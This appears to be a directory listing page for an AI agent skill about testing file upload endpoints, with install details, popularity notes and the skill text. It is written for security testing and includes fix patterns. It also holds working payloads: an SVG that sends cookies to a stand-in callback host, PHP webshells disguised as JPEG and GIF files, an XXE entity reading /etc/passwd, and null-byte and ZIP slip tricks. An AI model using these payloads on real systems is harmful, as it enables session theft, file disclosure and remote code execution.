Insecure file upload
Skill ShulkwiSEC/bb-huge/skills/curated/insecure-file-upload
Use when testing file upload endpoints for unrestricted file upload, MIME type bypass, magic byte spoofing, polyglot files, SVG XSS, XXE via Office documents, ZIP slip, and path traversal in filenames. Trigger on: multipart/form-data endpoints, avatar/document upload flows, import-from-file features, profile image, CSV/Excel import, DOCX/XLSX parsing, image resizing pipelines, archive extraction, and any endpoint that stores or serves user-supplied files. Detects extension bypass (shell.php.jpg), null byte injection, double extension, ImageMagick exploits, and content-type confusion.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill insecure-file-uploadAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
5.6 KB, ~1.2k tokens by cl100k_base, as published. Nobody here has run it
Insecure File Upload
What Is Broken and Why
File upload endpoints that validate file type only by extension or Content-Type header allow attackers to upload executable files, XSS payloads, XXE-triggering documents, or path-traversal archives. Depending on where files are stored and served, impact ranges from stored XSS to full remote code execution.
Key Signals
multipart/form-dataPOST endpoints accepting user files- File extensions accepted beyond images/docs (or poorly validated)
- Server echoes original filename in response or URL
- Files served from same origin as application (not separate CDN/domain)
- Archive extraction features (ZIP, tar)
- Office document processing (DOCX, XLSX, PPTX — all ZIP+XML internally)
- Image processing pipelines (ImageMagick, Pillow, libvips)
Methodology
- Upload a valid file; note the URL/path where it's stored and served.
- Check if files are served from same origin (XSS scope) or separate domain.
- Attempt extension bypass:
shell.php.jpg,shell.php%00.jpg,shell.jpg.php. - Modify
Content-Typetoimage/jpegwhile uploading a PHP/JSP file. - Prepend valid magic bytes to malicious content; attempt upload.
- Test SVG upload — inject
<svg onload="...">for XSS. - Test DOCX/XLSX upload with XXE payload inside XML.
- For archive extraction: craft ZIP with
../paths (ZIP slip). - Check if filename is reflected anywhere — test for path traversal and injection.
Payloads & Tools
# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://CALLBACK/?c='+document.cookie)"/>
# PHP webshell disguised as JPEG (magic bytes prepend)
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg
# Null byte bypass (older systems)
filename: shell.php%00.jpg
# XXE in DOCX — inject into word/document.xml inside the archive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
# ZIP slip
zip --symlinks traversal.zip ../../etc/passwd
# Polyglot GIF+PHP
GIF89a<?php system($_GET['cmd']); ?>
Magic bytes reference:
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX | 50 4B 03 04 |
Bypass Techniques
| Attack | Technique |
|---|---|
| Extension bypass | shell.php.jpg — server splits on first dot |
| Double extension | shell.jpg.php — server uses last extension |
| Null byte | shell.php%00.jpg — older parsers truncate at null |
| MIME spoof | Content-Type: image/jpeg on PHP file |
| Magic byte prepend | Prefix file with valid JPEG/GIF header bytes |
| Polyglot | File valid as both JPEG and PHP simultaneously |
| SVG with JS | XML-based, browsers execute onload from same origin |
| XXE in Office | DOCX/XLSX are ZIP+XML; inject DTD in contained XML |
| ZIP slip | Archive paths containing ../ extract outside intended dir |
| Content-type sniff | Omit Content-Type; let browser sniff — bypass nosniff-less servers |
Exploitation Scenarios
Stored XSS via SVG:
Setup → Application accepts SVG avatar uploads, serves them from same origin.
Trigger → Upload SVG with <svg onload="fetch('https://CALLBACK/?c='+document.cookie)">.
Impact → Any user viewing the avatar triggers XSS; session tokens exfiltrated.
RCE via PHP upload:
Setup → PHP application accepts image uploads, validates only Content-Type header.
Trigger → Upload shell.php with Content-Type: image/jpeg; access via direct URL.
Impact → Remote command execution on server.
XXE via XLSX import: Setup → Application parses Excel files for data import. Trigger → Upload crafted XLSX with XXE payload in sheet XML referencing internal files. Impact → Server-side file read; possible SSRF to internal metadata endpoints.
False Positives
- Upload endpoints that store files outside webroot and never serve them directly — RCE risk is mitigated, but XXE/ZIP slip may still apply.
- Files renamed server-side to random UUIDs — original extension irrelevant for stored XSS but magic byte and content validation still matters.
Fix Patterns
# Validate magic bytes, not just extension
import magic
allowed_mimes = {'image/jpeg', 'image/png', 'image/gif'}
detected = magic.from_buffer(file.read(2048), mime=True)
if detected not in allowed_mimes:
raise ValueError("Invalid file type")
# Always rename to UUID; never use original filename
import uuid, os
ext_map = {'image/jpeg': '.jpg', 'image/png': '.png'}
safe_name = str(uuid.uuid4()) + ext_map[detected]
Related Skills
XXE payloads embedded in DOCX/XLSX connect directly to [[xxe]]. SVG XSS from same-origin uploads is [[xss-stored]]. Path traversal in zip extraction is [[path-traversal]]. If the upload URL is fetched server-side, pivot to [[ssrf]].
What ships with it
Read from the repository
Just SKILL.md. No reference files, no scripts.
Gives 0 of the 12 instructions most pdf office docs skills give in ~1.2k tokens
Counted across 569 of the 585 authors here whose files we hold, read 2026-09-06
- Ensure every slide fits inside one viewportin 20 of 569, across 11 files
- Check for product marketing context firstin 15 of 569, across 5 files
- Ask for the minimum neededin 15 of 569, across 5 files
- Set the API key environment variablein 15 of 569, across 10 files
- Support keyboard and touch navigationin 14 of 569, across 5 files
- Match the buyer stagein 13 of 569, across 3 files
- Split overflowing content into multiple slidesin 12 of 569, across 3 files
- Set page size explicitly for consistent resultsin 12 of 569, across 5 files
- Convert documents to markdown using pandocin 12 of 569, across 6 files
- Read STYLE_PRESETS.md before generatingin 12 of 569, across 7 files
- Send multipart POST requests to the APIin 12 of 569, across 7 files
- Use smart quotes for new contentin 11 of 569, across 4 files
Said here and by no other author read
- Upload a valid file and note its storage URL
- Check if files are served from the same origin
- Attempt extension bypass with various filenames
- Modify Content-Type header during upload
- Prepend valid magic bytes to malicious content
- Test SVG upload for stored XSS
Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.